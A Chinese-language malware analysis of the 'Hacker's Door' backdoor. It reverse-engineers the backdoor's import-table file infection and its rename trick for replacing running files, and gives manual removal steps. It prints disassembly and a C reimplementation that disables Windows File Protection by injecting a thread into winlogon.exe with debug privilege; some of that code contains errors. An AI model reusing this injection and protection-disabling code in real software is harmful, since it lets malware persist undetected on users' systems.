黑客之門的魅力：感染與加載
??? 最近對后門產生了很濃厚的興趣，上網與各位高手討論的時候，有人提到了“黑客之門”很厲害，也算是推出來的比較成功的一個后門，于是上網下載了一個研究研究，順便也學習學習其中的方法與技巧。不敢獨享，分享于此，同時希望高手們指教。
??? “黑客之門”介紹
??? 黑客之門采用的目前一些先進的后門技術，它只有一個Dll文件，通過感染系統文件啟動自身，被感染的系統文件大小和日期都不會改變；同時采用線程插入技術，本身沒有進程；本身不開端口，而是重用系統進程開的任意一個端口，如80，135，139，445等，因此它的隱藏性非常好，而且穿透防火墻也是很容易的事。這個版本文件不大，只提供一些很有用的命令。目前還沒有發現如何工具能查到這個后門，象Fport，Llister，RKDetector等查工具都失效。
程序的自啟動
??? 既然是一個后門，那么就要隨系統的啟動而啟動，根據黑客之門的介紹，它是通過感染系統程序文件來實現程序的自啟動的。既然是感染了系統文件（像病毒），那就看看感染前和感染后的系統文件的區別吧！為了測試感染前后的差別，我準備了一個專門用來被感染的文件TestLoad.exe，它沒有什么功能，只是彈出一個對話框，這樣好等待測試，麻雀雖小，五臟俱全，省得動系統文件了。接著運行命令：
C:>rundll32 hkdoordll，DllRegisterServer TestLoad.exe 2
使黑客之門感染TestLoad.exe，感染完畢后用EXE文件查看利器eXescope查看TestLoad.exe被感染前后的差別。
被感染之前eXescpoe顯示的TestLoad.exe的結構如圖1所示：
感染之后的TestLoad.exe的結構如圖2所示：
可以看出感染之后的TestLoad.exe的引入表多了一個Hkdoordll.dll引入庫。細心觀察感染之后的TestLoad.exe的引入表地址（Import Table Address ITA）已經被改變，原來的ITA為0x000043FC，感染之后為0x0000477E。
為了進一步看清除感染前后的文件的變化，這里使用LordPE.exe比較感染前后的TestLoad.exe的引入表函數，比較結果如圖3所示：
提示：使用LordPE.exe查看exe文件的引入表函數方法是：點擊PE Edito打開相應的文件，接著點擊Directories，彈出對話框后點擊Import Table右邊的三個點，這樣就可以查看一個可執行文件的引入表了。
??? 可以看出，只是在引入表鏈表中添加了一個相應的Hkdoordll.dll，這樣當被感染的程序再次運行時，由系統的程序裝載器搜索Hkdoordll.dll，并將其引用到被感染程序的地址空間，后門就運行起來了。黑客之門的這種子啟動方式值得學習，比較靈巧。
??? 搞明白了黑客之門的啟動方式后，我們就可以手動清除它了，這里切不可將Hkdoordll.dll直接刪除，這樣可能直接導致系統崩潰。因為系統在加載被感染的程序（假如為Services.exe）時發現沒有找到Hkdoordll.dll，Services.exe將不能被裝載，如果被感染的是系統關鍵進程的話，那么系統將不能正確的啟動。清除的時候我們可以去別的機器上（相同系統與補丁）找一個Services.exe，將被感染的程序命名為Services2.exe，將Services.exe拷貝到System32文件夾下，重啟電腦，刪除Hkdoordll.dll就清除黑客之門了。
運行時感染
??? 上面說的是黑客之門的自啟動方式，下面看看黑客之門是怎么感染正在運行的系統文件的，這一點讓我暈了很久，最后發現是用了一個很靈活的小技巧。
我們知道在Windows系統下，正在運行的程序文件一般是不能修改或者刪除的，正是由于這一點，才出現了各種程序運行時的自刪除大法，程序自刪除不是我們這次的重點。但是，細心的用戶可能已經發現，在Windows 2000或Wndows XP系統下，我們可以對正在運行的EXE文件進行重命名或者移動。
再拿剛才的TestLoad.exe做測試，運行：
C:>rundll32 hkdoordll，DllRegisterServer TestLoad.exe 2
可以發現TestLoad.exe所在的文件夾內多出了一個文件TestLoad.exe.bak，咋一看還以為“黑客之門”做好事，自動幫你備份一下系統文件，其實這可是黑客之門的狐貍尾巴啊！是它不得已而為之的。不要關閉TestLoad.exe，然后試著刪除TestLoad.exe和TestLoad.exe.bak，是不是發現奇跡了？竟然把TestLoad.exe刪掉了，而TestLoad.exe.bak竟然不讓刪，是不是和我剛才說的話矛盾？非也！非也！剛好證明了剛才的話：黑客之門先把TestLoad.exe改名為TestLoad.exe.bak，然后生成一個被感染的TestLoad.exe，這樣，下次運行TestLoad.exe實際上是被替換過的程序，原來的程序則放在一邊。
用IDA Pro反匯編Hkdoordll.dll可以發現以下函數的調用：
文件重命名：
.data:1000C618???????????????? lea???? ecx， [esp+438h+FileName]
.data:1000C61F???????????????? lea???? edx， [esp+438h+var_324]
.data:1000C626???????????????? push??? ecx
.data:1000C627???????????????? push??? edx
.data:1000C628???????????????? call??? rename
拷貝文件：
.data:1000C66F?????????? lea???? edx， [esp+440h+var_32C]
.data:1000C676?????????? push??? 0?????????????? ; bFailIfExists
.data:1000C678?????????? lea???? eax， [esp+444h+var_228]
.data:1000C67F?????????? push??? edx???????????? ; lpNewFileName
.data:1000C680?????????? push??? eax???????????? ; lpExistingFileName
.data:1000C681?????????? call??? CopyFileA
移動文件：
.data:1000C795?????????? mov???? eax， [ebp+8]
.data:1000C798?????????? test??? eax， eax
.data:1000C79A?????????? jnz???? short loc_1000C7FE
.data:1000C79C?????????? lea???? ecx， [esp+448h+var_334]
.data:1000C7A3?????????? push??? 5?????????????? ; dwFlags
.data:1000C7A5?????????? lea???? edx， [esp+44Ch+var_230]
.data:1000C7AC?????????? push??? ecx???????????? ; lpNewFileName
.data:1000C7AD?????????? push??? edx???????????? ; lpExistingFileName
.data:1000C7AE?????????? call??? MoveFileExA
上面的語句實際上可以理解為:
MoveFileEx(“TestLoad.exe”，”TestLoad.exe.bak”， MOVEFILE_DELAY_UNTIL_REBOOT&line; MOVEFILE_REPLACE_EXISTING);
??? 小知識：MSDN中對MoveFileEx()函數的解釋為：
BOOL MoveFileEx(
? LPCTSTR lpExistingFileName，? // pointer to the name of the existing file
? LPCTSTR lpNewFileName，?????? // pointer to the new name for the file
? DWORD dwFlags??????????????? // flag that specifies how to move file
);
??? 這樣進程TestLoad.exe的文件映象實際上為TestLoad.exe.bak，接著Hkdoordll.dll生成被感染的TestLoad.exe，并且保存在原來的文件路徑上即可。
??? 滅掉系統文件保護
??? 一旦系統啟動了，Windows系統就開始加載已經被感染的系統程序，但是由于“黑客之門”是通過感染系統程序實現自啟動的，這下子又遇到了另外一個問題。
??? 大家都知道，在Windows 2000和Windows XP中有系統文件保護功能，一旦被保護的系統文件被修改了，就會彈出需要插入系統安裝盤CD的對話框。這樣就導致了一個問題， TestLoad.exe只是一個普通的EXE文件，而不是受系統文件保護系統保護的系統進程，那為什么黑客之門修改系統進程時，操作系統的文件的文件保護系統不會提醒呢？
這一點，還是采用反匯編黑客之門的方法，觀察它是怎樣關閉系統文件保護功能的。
發現如下的代碼：
.data:1000BBB0 LoadSFCDLL?? proc near??? ; CODE XREF: sub_1000BC70+B7
.data:1000BBB0????? push??? esi
.data:1000BBB1????? xor???? esi， esi
.data:1000BBB3????? call??? GetVersion? ; Get current version number of Windows
.data:1000BBB3????? ; and information about the operating system platform
.data:1000BBB9????? cmp???? al， 5
.data:1000BBBB????? jnz???? short loc_1000BBDF
.data:1000BBBD????? xor???? ecx， ecx?;此時為Windows2000系統
.data:1000BBBF????? mov???? cl， ah
.data:1000BBC1???? test??? cl， cl
.data:1000BBC3???? jnz???? short loc_1000BBD2
.data:1000BBC5???? push??? offset aSfc_dll ; lpLibFileName
.data:1000BBCA???? call??? LoadLibraryA?;此時為WindowsXP系統
.data:1000BBD0???? pop???? esi
.data:1000BBD1???? retn
.data:1000BBD2 loc_1000BBD2:????????? ; CODE XREF: LoadSFCDLL+13 j
.data:1000BBD2???? push??? offset aSfc_os_dll ; lpLibFileName
.data:1000BBD7???? call??? LoadLibraryA
.data:1000BBDD???? pop???? esi
.data:1000BBDE???? retn
上面的代碼可以看出，Hkdoordll.dll根據操作系統的版本調用了Sfc.dll或者Sfc_os.dll，如果是Windows 2000（Windows NT 5.0）的話，裝載Sfc.dll；如果是Windows XP（Windows NT 5.1）的話，裝載Sfc_os.dll。再看下面的一段反匯編代碼：
sub???? esp， 228h
.data:1000BC76???? lea???? eax， [esp+228h+hObject]
.data:1000BC7A???? push??? ebx
.data:1000BC7B???? push??? esi
.data:1000BC7C???? push??? edi
.data:1000BC7D???? push??? offset aWinlogon_exe ; "winlogon.exe"
.data:1000BC82????? push??? 0
.data:1000BC84????? push??? offset aDS????? ; "%d/%s"
.data:1000BC89????? push??? 1Fh
.data:1000BC8B???? mov???? edi， ecx
.data:1000BC8D???? push??? eax
.data:1000BC8E???? call??? sub_10008C60
.data:1000BC93????? add???? esp， 14h
.data:1000BC96????? lea???? ecx， [esp+234h+hObject]
.data:1000BC9A????? push??? ecx???????????? ; lpMultiByteStr
.data:1000BC9B????? call??? sub_100016CC??? //這個子函數就是用來得到進程ID
.data:1000BCA0????? cmp???? eax， 0FFFFFFFDhSFC
.data:1000BCA3????? jb????? short loc_1000BCDB
.data:1000BCA5????? push??? offset aCanTGetWinlogo ; "Can't get winlogon process id!rn"
上面的函數用來得到Winlogon.exe進程的ID，以便下面打開它注入代碼：
.data:1000BCDB?????? push??? eax???????????? ; dwProcessId
.data:1000BCDC?????? push??? 0?????????????? ; bInheritHandle
.data:1000BCDE?????? push??? 1F0FFFh???????? ; dwDesiredAccess
.data:1000BCE3?????? call??? OpenProcess?;打開目標進程
.data:1000BCE9?????? mov???? ebx， eax
.data:1000BCEB?????? test??? ebx， ebx
.data:1000BCED?????? jnz???? short loc_1000BD25
上面的匯編代碼段是調用OpenProcess()函數打開Winlogon.exe進程。繼續觀察反匯編代碼，發現下面的一段：
.data:1000BD25?????? mov?? ecx， edi
.data:1000BD27?????? call??? LoadSFCDLL
.data:1000BD2C?????? mov?? esi， eax
.data:1000BD2E?????? test??? esi， esi
.data:1000BD30?????? jnz??? short loc_1000BD6F
.data:1000BD6F?????? push?? 2????????????? ;函數序號為2
.data:1000BD71?????? push?? esi???????????? ;SFC.dll的 hModule
.data:1000BD72?????? call??? GetProcAddress ;得到SFC.dll中序數為2 的函數的地址
.data:1000BD78?????? test??? eax， eax
.data:1000BD7A?????? mov???? [edi+10h]， eax
.data:1000BD7D?????? jnz???? short loc_1000BDC3
可以發現上面的匯編代碼用來得到以前裝載的Sfc.dll（或Sfc_os.dll）中的序數為2的函數的地址。接著程序跳轉到了Loc_1000BDC3，繼續跟蹤反匯編代碼，發現以下一段：
.data:1000BDC3?????? push??? eax???????????? ; 剛才得到的SFC.dll中函數的地址
.data:1000BDC4?????? push??? ebx???????????? ; Winlogon.exe進程的句柄
.data:1000BDC5?????? mov???? ecx， edi
.data:1000BDC7?????? call??? sub_1000BBF0?注意這里調用函數 sub_1000BBF0
.data:1000BDCC?????? push??? esi???????????? ; hLibModule
.data:1000BDCD?????? mov???? edi， eax
.data:1000BDCF?????? call??? FreeLibrary
.data:1000BDD5?????? test??? edi， edi
.data:1000BDD7?????? push??? ebx???????????? ; hObject
跟進Sub_1000BBF0函數，Sub_1000BBF0函數：
入口參數：進程句柄、線程開始地址
.data:1000BBF0 sub_1000BBF0??? proc near???? ; CODE XREF: sub_1000BC70+157 p
.data:1000BBF0
.data:1000BBF0 ThreadId??????? = dword ptr -1
.data:1000BBF0 hProcess??????? = dword ptr? 7
.data:1000BBF0 lpStartAddress? = dword ptr? 0Bh
.data:1000BBF0
.data:1000BBF0?????? push??? ecx
.data:1000BBF1?????? mov???? ecx， [esp+1+lpStartAddress]
.data:1000BBF5?????? mov???? edx， [esp+1+hProcess]
.data:1000BBF9?????? lea???? eax， [esp+1+ThreadId]
.data:1000BBFD?????? push??? esi
.data:1000BBFE?????? push??? eax?????? ; lpThreadId
.data:1000BBFF?????? push??? 0???????? ; dwCreationFlags
.data:1000BC01?????? push??? 0???????? ; lpParameter
.data:1000BC03?????? push??? ecx?????? ; SFC.dll中第二個函數的函數地址
.data:1000BC04?????? push??? 0???????? ; dwStackSize
.data:1000BC06?????? push??? 0???????? ; lpThreadAttributes
.data:1000BC08?????? push??? edx?????? ; 以前打開的winlogon.exe進程的句柄
.data:1000BC09?????? mov???? [esp+21h+ThreadId]， 0
.data:1000BC11?????? call??? CreateRemoteThread??? ;創建遠線程
.data:1000BC17?????? mov???? esi， eax
.data:1000BC19?????? test??? esi， esi??;ESI保存剛才新創建的線程的句柄
.data:1000BC1B?????? jnz???? short loc_1000BC3F
――――――――――――――――――――――――――――――
.data:1000BC3F
.data:1000BC3F loc_1000BC3F:???? ; CODE XREF: sub_1000BBF0+2B j
.data:1000BC3F????????? push??? 0FA0h?????????? ; dwMilliseconds
.data:1000BC44????????? push??? esi???????????? ; 新創建的線程的句柄
.data:1000BC45????????? call??? WaitForSingleObject ;等待遠程線程的結束
.data:1000BC4B????????? test??? eax， eax
.data:1000BC4D????????? jz????? short loc_1000BC5D
――――――――――――――――――――――――――――――――――
.data:1000BC5D
.data:1000BC5D loc_1000BC5D:???????? ; CODE XREF: sub_1000BBF0+5D j
.data:1000BC5D????????? push??? esi???????????? ; hObject
.data:1000BC5E????????? call??? CloseHandle
.data:1000BC64?????????? mov???? eax， [esp+5+ThreadId]
.data:1000BC68?????????? pop???? esi
.data:1000BC69?????????? pop???? ecx
.data:1000BC6A?????????? retn??? 8
.data:1000BC6A sub_1000BBF0??? endp
??? 上面的子函數功能很簡單，就是在剛剛打開的Winlogon.exe進程中創建新的線程，新線程調用SFC.dll中的序號為2的輸出函數，這樣便關掉了系統文件的自我保護。
??? 事實上，根據Bgate的《在Win 2000/XP上安靜地替換正在使用的系統文件》這篇文章的解釋，在Windows 2000(XP)系統下，執行系統文件保護的代碼在Sfc.dll（XP在Sfc_os.dll）中，這個Dll由Winlogon.exe調用。Winlogon.exe主要調用Sfc.dll中的兩個函數實現系統文件文件保護。Winlogon.exe調用Sfc.dll中的一個輸出函數在系統啟動的時候創建了一系列事件，Winlogon.exe結束時調用另外一個函數關閉上面的一系列事件，這樣就關閉了系統保護文件功能。那這樣我們只需要向Winlogon.exe中注入代碼調用“第二個”函數，就能取消文件保護功能了，“黑客之門”采用的也正是這樣的方法。
??? 這里需要注意的是，要把進程注入到Winlogon.exe中，需要提升自身的權限到Debug權限。
HANDLE hToken;
??? LUID DebugNameValue;
??? TOKEN_PRIVILEGES Privileges;
??? DWORD dwRet;
??? OpenProcessToken(GetCurrentProcess()，
????? TOKEN_ADJUST_PRIVILEGES &line; TOKEN_QUERY，hToken);
??? LookupPrivilegeValue(NULL，"SeDebugPrivilege"，&DebugNameValue);
??? Privileges.PrivilegeCount=1;
??? Privileges.Privileges[0].Luid=DebugNameValue;
??? Privileges.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
??? AdjustTokenPrivileges(hToken，FALSE，&Privileges，sizeof(Privileges)，
????????????????? NULL，&dwRet);
??? CloseHandle(hToken);
上面整個關閉系統文件保護功能的實現用C語言寫下來如下所示：
/*得到進程的ID，具體的方法可以使用CreateToolHelpSnap32()，ProcessFirst32()以及ProcessNext32()得到*/
?DWORD dwPid=GetProcessIdFromName(“Winlogon.exe”);
HANDLE Process=OpenProcess(，FALSE，dwPid);
DWORD dwVersion;
?HMODULE hSfc;
dwVersion = GetVersion();
//判斷操作系統的類型
?? if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5)
{ ??????????????? // Windows 2000/XP
??????? if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0)?? //Windows 2000
?????????????????? hSfc = LoadLibrary("sfc.dll");??????
??????? else if((DWORD)(HIBYTE(LOWORD(dwVersion))) = 1)???????????? //Windows XP
??????????? hSfc = LoadLibrary("sfc_os.dll");??????
??? }???
//得到函數的地址
FARPROC dwAddress=GerProcAddress(hSfc， MAKEINTRESOURCE(2));
DWORD dwThreadId;
HANDLE? hThread;
//創建遠線程
hThread =CreateRemoteThread(hProcess，0，0， /
(DWORD (__stdcall *) (void *)) dwAddress，0，0，&dwThreadId);
WaitForSingleObject(hThread，0x0FA0);
??? 結束語
??? 大概分析完了，剛開始拿到黑客之門的時候，還在想，它到底是怎樣感染正在運行的系統文件的呢？原來以為是修改進程的句柄指向的進程的操作掩碼完成的，為此我還翻閱了好多文檔。結果通過對程序的反匯編學習，漸漸的發現黑客之門的程序編制的技巧。這里也要感謝“黑客之門”的作者，沒有給它加殼，能讓我們有幸能一睹優秀黑客工具的容顏！
不到之處，歡迎指教，Mail：fengcaho at 163 dot com。